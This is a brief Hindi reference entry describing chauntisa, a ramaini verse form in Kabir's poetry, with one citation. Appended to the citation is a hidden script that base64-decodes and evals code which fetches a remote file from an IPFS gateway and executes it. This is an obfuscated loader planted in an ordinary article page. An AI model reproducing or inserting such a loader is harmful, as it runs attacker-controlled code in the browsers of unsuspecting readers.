चौंतीसा (रमैनी)

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चौंतीसा भी रमैनी का एक रूप है। चौंतीसा भी बावनी की पद्धति का काव्य रूप है। इसकी रचना स्वरों को छोड़कर की जाती है। ग्यान चौंतीसा में चौपाई छन्द का व्यवहार किया गया है, किन्तु सर्वत्र उसका शुद्ध रूप उपलब्ध नहीं होता है।[1]



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टीका टिप्पणी और संदर्भ

  1. शर्मा, रामकिशोर कबीर ग्रन्थावली (हिंदी), 100।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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